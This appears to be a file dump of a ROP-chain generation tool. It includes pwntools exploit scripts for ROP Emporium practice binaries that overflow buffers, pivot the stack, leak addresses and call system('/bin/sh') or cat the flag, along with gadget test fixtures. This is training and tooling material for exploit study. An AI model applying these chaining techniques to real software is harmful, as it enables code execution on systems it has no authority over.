-------------------------------------------------------------------------------- /examples/rop_emporium/fluff/fluff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/d4em0n/exrop/343eee05bd4b9d31db3e55a70a33893527225c84/examples/rop_emporium/fluff/fluff -------------------------------------------------------------------------------- /examples/rop_emporium/pivot/exploit.py: -------------------------------------------------------------------------------- 1 | from Exrop import Exrop 2 | from pwn import * 3 | 4 | context.terminal = "tmux splitw -h -f".split() 5 | binname = "pivot" 6 | p = process(binname) 7 | rop = Exrop(binname) 8 | elf = ELF(binname, checksec=False) 9 | libpivot = ELF("./libpivot.so", checksec=False) 10 | buf = b"A"*0x28 11 | ret = 0x00000000004007c9 # for padding 12 | 13 | rop.find_gadgets(cache=True) 14 | puts = elf.symbols['puts'] 15 | footholdgot = elf.got['foothold_function'] 16 | foothold = elf.symbols['foothold_function'] 17 | main = elf.symbols['main'] 18 | 19 | p.recvuntil(": ") 20 | pivot_addr = int(p.recvuntil("\n", drop=True), 16) 21 | 22 | pivot_chain = rop.stack_pivot(pivot_addr, avoid_char=b"\x0a") 23 | pivot_chain.dump() 24 | chain2 = rop.func_call(puts, (footholdgot,)) 25 | chain2.dump() 26 | pay = buf + pivot_chain.payload_str() 27 | 28 | rop = p64(foothold) + chain2.payload_str() + p64(main) 29 | p.sendlineafter("> ", rop) 30 | p.sendlineafter("> ", pay) 31 | p.recvuntil("libpivot.so") 32 | leak = u64(p.recvuntil("\n", drop=True).ljust(8, b"\x00")) 33 | libpivot.address = leak - libpivot.symbols['foothold_function'] 34 | ret2win = libpivot.symbols['ret2win'] 35 | print(hex(libpivot.address)) 36 | p.sendlineafter("> ", buf + p64(ret) + p64(ret2win)) 37 | p.interactive() 38 | -------------------------------------------------------------------------------- /examples/rop_emporium/pivot/flag.txt: -------------------------------------------------------------------------------- 1 | ROPE{a_placeholder_32byte_flag!} 2 | -------------------------------------------------------------------------------- /examples/rop_emporium/pivot/libpivot.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/d4em0n/exrop/343eee05bd4b9d31db3e55a70a33893527225c84/examples/rop_emporium/pivot/libpivot.so -------------------------------------------------------------------------------- /examples/rop_emporium/pivot/pivot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/d4em0n/exrop/343eee05bd4b9d31db3e55a70a33893527225c84/examples/rop_emporium/pivot/pivot -------------------------------------------------------------------------------- /examples/rop_emporium/split/exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | from Exrop import Exrop 3 | 4 | binname = "./split" 5 | p = process(binname) 6 | elf = ELF(binname) 7 | catflag = next(elf.search(b"/bin/cat flag.txt")) 8 | system = elf.symbols['system'] 9 | rop = Exrop(binname) 10 | rop.find_gadgets(cache=True) 11 | chain = rop.func_call(system, (catflag, 0)) 12 | chain.dump() 13 | buf = b"A"*0x28 14 | pay = buf + chain.payload_str() 15 | p.sendlineafter("> ", pay) 16 | p.interactive() 17 | -------------------------------------------------------------------------------- /examples/rop_emporium/split/flag.txt: -------------------------------------------------------------------------------- 1 | ROPE{a_placeholder_32byte_flag!} 2 | -------------------------------------------------------------------------------- /examples/rop_emporium/split/split: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/d4em0n/exrop/343eee05bd4b9d31db3e55a70a33893527225c84/examples/rop_emporium/split/split -------------------------------------------------------------------------------- /examples/rop_emporium/write4/exploit.py: -------------------------------------------------------------------------------- 1 | from Exrop import Exrop 2 | from pwn import * 3 | 4 | binname = "write4" 5 | rop = Exrop(binname) 6 | rop.find_gadgets(cache=True) 7 | elf = ELF(binname, checksec=False) 8 | bss = elf.bss() 9 | system = elf.symbols['system'] 10 | chain = rop.func_call(system, ("/bin/sh",), elf.bss()) 11 | chain.dump() 12 | ret = p64(0x0000000000400806) # for padding 13 | buf = b"A"*40 14 | buf += ret + chain.payload_str() # ret for padding 15 | p = process(binname) 16 | p.sendlineafter("> ", buf) 17 | p.interactive() 18 | -------------------------------------------------------------------------------- /examples/rop_emporium/write4/flag.txt: -------------------------------------------------------------------------------- 1 | ROPE{a_placeholder_32byte_flag!} 2 | -------------------------------------------------------------------------------- /examples/rop_emporium/write4/write4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/d4em0n/exrop/343eee05bd4b9d31db3e55a70a33893527225c84/examples/rop_emporium/write4/write4 -------------------------------------------------------------------------------- /examples/set_regs_all.py: -------------------------------------------------------------------------------- 1 | from Exrop import Exrop 2 | import time 3 | 4 | rop = Exrop("libc.so.6") 5 | t = time.mktime(time.gmtime()) 6 | rop.find_gadgets(cache=True) # it's slow for first analyze keep waiting 7 | print("Analyzing done in {}s".format(time.mktime(time.gmtime()) - t)) 8 | print("write-regs gadgets: rdi=0x41414141, rsi=0x42424242, rdx=0x43434343, rax:0x44444444, rbx=0x45454545, rcx=0x4b4b4b4b, r8=0x47474747, r9=0x48484848, r10=0x49494949, r11=0x4a4a4a4a, r12=0x50505050, r13=0x51515151, r14=0x52525252, r15=0x53535353") 9 | chain = rop.set_regs({'rdi':0x41414141, 'rsi': 0x42424242, 'rdx':0x43434343, 'rax':0x44444444, 'rbx': 0x45454545, 'rcx':0x4b4b4b4b, 'r8': 0x47474747, 'r9': 0x48484848, 'r10':0x49494949, 'r11': 0x4a4a4a4a, 'r12': 0x50505050, 'r13': 0x51515151, 'r14':0x52525252, 'r15': 0x53535353}) 10 | chain.dump() 11 | #print(chain.payload_str()) 12 | -------------------------------------------------------------------------------- /examples/syscall.py: -------------------------------------------------------------------------------- 1 | from Exrop import Exrop 2 | import time 3 | 4 | rop = Exrop("libc.so.6") 5 | t = time.mktime(time.gmtime()) 6 | rop.find_gadgets(cache=True) # it's slow for first analyze keep waiting 7 | print("Analyzing done in {}s".format(time.mktime(time.gmtime()) - t)) 8 | chain = rop.syscall(1, (1,2,3)) 9 | chain.dump() 10 | #print(chain.payload_str()) 11 | -------------------------------------------------------------------------------- /tests/badchar_add: -------------------------------------------------------------------------------- 1 | { 2 | "gadgets": { 3 | 0x0a10: 'pop rsi; ret', 4 | 0x1000: 'pop rsi; pop rdi; ret', 5 | 0x2000: 'mov rbx, rsi; ret', 6 | 0x3000: 'mov rbx, rcx; ret', 7 | 0x4000: 'mov rcx, rbx; add rcx, 20; ret', 8 | }, 9 | "find": { 10 | "rcx": 0xffee0aee 11 | }, 12 | "badchars": b"\x0a", 13 | } 14 | -------------------------------------------------------------------------------- /tests/badchar_xor: -------------------------------------------------------------------------------- 1 | { 2 | "gadgets": { 3 | 0x0a10: 'pop rdi; ret', 4 | 0x1000: 'pop rsi; pop rdi; ret', 5 | 0x2000: 'pop rdx; ret', 6 | 0x4000: "xor rdx, rdi; ret", 7 | 0x5000: "xor rdi, rsi; ret" 8 | }, 9 | "find": { 10 | "rdx": 0x0abb0acc, 11 | "rdi": 0xbb0acc0a, 12 | }, 13 | "badchars": b"\x0a", 14 | } 15 | -------------------------------------------------------------------------------- /tests/basic_pop: -------------------------------------------------------------------------------- 1 | { 2 | "gadgets": { 3 | 0x3000: 'pop rdi; pop rsi; ret', 4 | 0x4000: 'mov rax, rdx; ret', 5 | 0x5000: 'pop rdx; ret', 6 | }, 7 | "find": { 8 | "rax": 0x43434343, 9 | "rsi": 0x41414141, 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /tests/find_reg: -------------------------------------------------------------------------------- 1 | { 2 | "gadgets": { 3 | 0x1000: 'pop rsi; ret', 4 | 0x5000: 'ret', 5 | 0x2000: 'mov rbx, rsi; jmp rax', 6 | 0x3000: 'mov rdi, rbx; pop rdx; ret', 7 | 0x4000: 'pop rax; ret', 8 | }, 9 | "find": { 10 | "rdi": "rsi", 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /tests/find_reg_2: -------------------------------------------------------------------------------- 1 | { 2 | "gadgets": { 3 | 0x1000: 'mov r8, rax; call r12', 4 | 0x2000: 'mov rdi, r8; call rax', 5 | 0x6000: 'pop rax; pop rbx; ret', 6 | 0x5000: 'pop rax; pop rbx; pop r8; ret', 7 | 0x3000: 'pop r12; ret', 8 | 0x4000: 'pop rdi; ret', 9 | }, 10 | "find": { 11 | "rdi": "rax", 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /tests/find_reg_3: -------------------------------------------------------------------------------- 1 | { 2 | "gadgets": { 3 | 0x1000: 'add eax, 0x5d000000 ; pop r12 ; ret', 4 | 0x2000: 'mov r8, rax ; call r12', 5 | 0x3000: 'mov rax, rbx ; pop rbx ; ret', 6 | 0x4000: 'pop r12; pop r13; pop r15; ret', 7 | }, 8 | "find": { 9 | "r8": "rax", 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /tests/fixed_invalid_find_reg: -------------------------------------------------------------------------------- 1 | { 2 | "gadgets": { 3 | 0x1000: 'pop rax; ret', 4 | 0x2000: 'pop r12; ret', 5 | 0x3000: 'pop rdi; ret', 6 | 0x4000: 'mov r8, rax; call r12', 7 | 0x5000: 'mov rdi, r8; call rax', 8 | }, 9 | "find": { 10 | "rdi": "rax", 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /tests/fixed_invalid_mov: -------------------------------------------------------------------------------- 1 | { 2 | "gadgets": { 3 | 0x00000000001306d9: "pop rdi; ret", 4 | 0x00000000001663b1: "pop r13; ret", 5 | 0x0000000000091ec4: "mov r9, r13 ; call rbx", 6 | 0x0000000000166400: "sub al,0; pop rbx; ret", 7 | }, 8 | "find": { 9 | 'rdi':0x41414141, 10 | 'r9': 0x42424242 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /tests/fixed_invalid_pop: -------------------------------------------------------------------------------- 1 | { 2 | "gadgets": { 3 | 0x00000000001306d9: "pop rdx; pop rsi; ret", 4 | 0x00000000001663b1: "pop rax; pop rdx; pop rbx; ret", 5 | 0x0000000000091ec4: "mov rax, rdx; add rsp, 8; ret", 6 | 0x00000000001663b1: "pop rax; pop rdx; pop rbx; ret", 7 | 0x00000000001663b5: "pop rdx; pop rbx; ret", 8 | 0x000000000002155f: "pop rdi; ret" 9 | }, 10 | "find": { 11 | 'rdi':0x41414141, 'rsi': 0x42424242, 'rdx':0x43434343, 'rax':0x44444444, 'rbx': 0x45454545 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /tests/invalid_no_return: -------------------------------------------------------------------------------- 1 | { 2 | "gadgets": { 3 | 0x1000: 'pop rax; ret', 4 | 0x2000: 'pop r12; ret', 5 | 0x3000: 'pop rdi; ret', 6 | 0x4000: 'mov r8, rax; call r12', 7 | 0x5000: 'mov rdi, r8; call rax', 8 | }, 9 | "find": { 10 | "rdi": 0x41414142, 11 | "rdx": 0x43434343, 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /tests/multi_pop: -------------------------------------------------------------------------------- 1 | { 2 | "gadgets": { 3 | 0x2000: 'mov rax, rbx; pop rbx; ret', 4 | 0x3000: 'pop rdi; ret', 5 | 0x4000: 'pop rsi; ret', 6 | 0x5000: 'pop rdx; ret', 7 | }, 8 | "find": { 9 | "rax": 0x0b0c0a0d, 10 | "rbx": 0xddccbbaa, 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /tests/no-return: -------------------------------------------------------------------------------- 1 | { 2 | "gadgets": { 3 | 0x1000: 'pop rsi; ret', 4 | 0x2000: 'mov rbx, rsi; jmp rax', 5 | 0x3000: 'mov rdi, rbx; ret', 6 | 0x5000: 'pop rax; ret', 7 | 0x4000: 'ret', 8 | }, 9 | "find": { 10 | "rdi": 0xff00ee00 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /tests/pivot: -------------------------------------------------------------------------------- 1 | { 2 | "type": "pivot", 3 | "gadgets": { 4 | 0x4000: 'leave; ret', 5 | 0x5000: 'pop rbp; ret', 6 | }, 7 | "find": 0x41414242 8 | } 9 | -------------------------------------------------------------------------------- /tests/pop: -------------------------------------------------------------------------------- 1 | { 2 | "gadgets": { 3 | 0x1000: 'pop rsi; ret', 4 | 0x2000: 'mov rbx, rsi; ret', 5 | 0x3000: 'mov rax, rcx; ret', 6 | 0x4000: 'mov rcx, rbx; add rcx, 100; ret', 7 | 0x5000: 'mov rdx, rsi; ret', 8 | 0x6000: 'mov rdi, rax; ret', 9 | }, 10 | "find": { 11 | "rdi": 0x41414242, 12 | "rsi": 0xffffffff, 13 | "rdx": 0x43434343, 14 | "rax": 0x0b0c0a0d, 15 | "rbx": 0xddccbbaa, 16 | "rcx": 0xffeeffee 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /tests/syscall: -------------------------------------------------------------------------------- 1 | { 2 | "gadgets": { 3 | 0x5000: 'pop rbx; jmp qword ptr [rax]', 4 | 0x6000: 'syscall; ret', 5 | 0x7000: 'mov rbx, 100; ret', 6 | 0x4000: 'mov rcx, rbx; add rcx, 100; ret', 7 | 8 | }, 9 | "find": { 10 | "rax": 0x43434343, 11 | "rsi": 0x41414141, 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /tests/test.py: -------------------------------------------------------------------------------- 1 | from ChainBuilder import ChainBuilder 2 | from Exrop import Exrop 3 | from Gadget import * 4 | import sys 5 | import code 6 | from keystone import * 7 | 8 | def asm_ins(code): 9 | ks = Ks(KS_ARCH_X86, KS_MODE_64) 10 | insns = bytes(ks.asm(code)[0]) 11 | return insns 12 | 13 | if len(sys.argv) == 1: 14 | print("use: {} test_file".format(sys.argv[0])) 15 | sys.exit(1) 16 | 17 | def test_reg(data_test): 18 | chain_builder.set_regs(data_test['find']) 19 | avoid_char = None 20 | if 'badchars' in data_test: 21 | avoid_char = data_test['badchars'] 22 | chain_builder.solve_chain(avoid_char=avoid_char) 23 | 24 | def test_write(data_test): 25 | chain_builder.set_writes(data_test['find']) 26 | avoid_char = None 27 | if 'badchars' in data_test: 28 | avoid_char = data_test['badchars'] 29 | chain_builder.solve_chain_write(avoid_char=avoid_char) 30 | 31 | def test_pivot(data_test): 32 | avoid_char = None 33 | if 'badchars' in data_test: 34 | avoid_char = data_test['badchars'] 35 | chain_builder.solve_pivot(data_test['find'], avoid_char=avoid_char) 36 | 37 | with open(sys.argv[1], "rb") as fp: 38 | data_test = eval(fp.read()) 39 | gadgets = data_test['gadgets'] 40 | for addr in gadgets: 41 | gadgets[addr] = (gadgets[addr], asm_ins(gadgets[addr])) 42 | chain_builder = ChainBuilder() 43 | chain_builder.load_list_gadget_string(gadgets) 44 | chain_builder.analyzeAll() 45 | code.interact(local=locals()) 46 | 47 | if "type" not in data_test or data_test['type'] == 'reg': 48 | test_reg(data_test) 49 | elif data_test['type'] == 'write_mem': 50 | test_write(data_test) 51 | elif data_test['type'] == 'pivot': 52 | test_pivot(data_test) 53 | 54 | build_chain = chain_builder.build_chain() 55 | build_chain.dump() 56 | -------------------------------------------------------------------------------- /tests/write: -------------------------------------------------------------------------------- 1 | { 2 | "type": "write_mem", 3 | "gadgets": { 4 | 0x1000: 'mov qword ptr [rdx], rdi; ret', 5 | 0x2000: 'pop rdi; pop rdx; ret', 6 | }, 7 | "find": { 8 | 0x41414141: 0x42424242, 9 | } 10 | } 11 | --------------------------------------------------------------------------------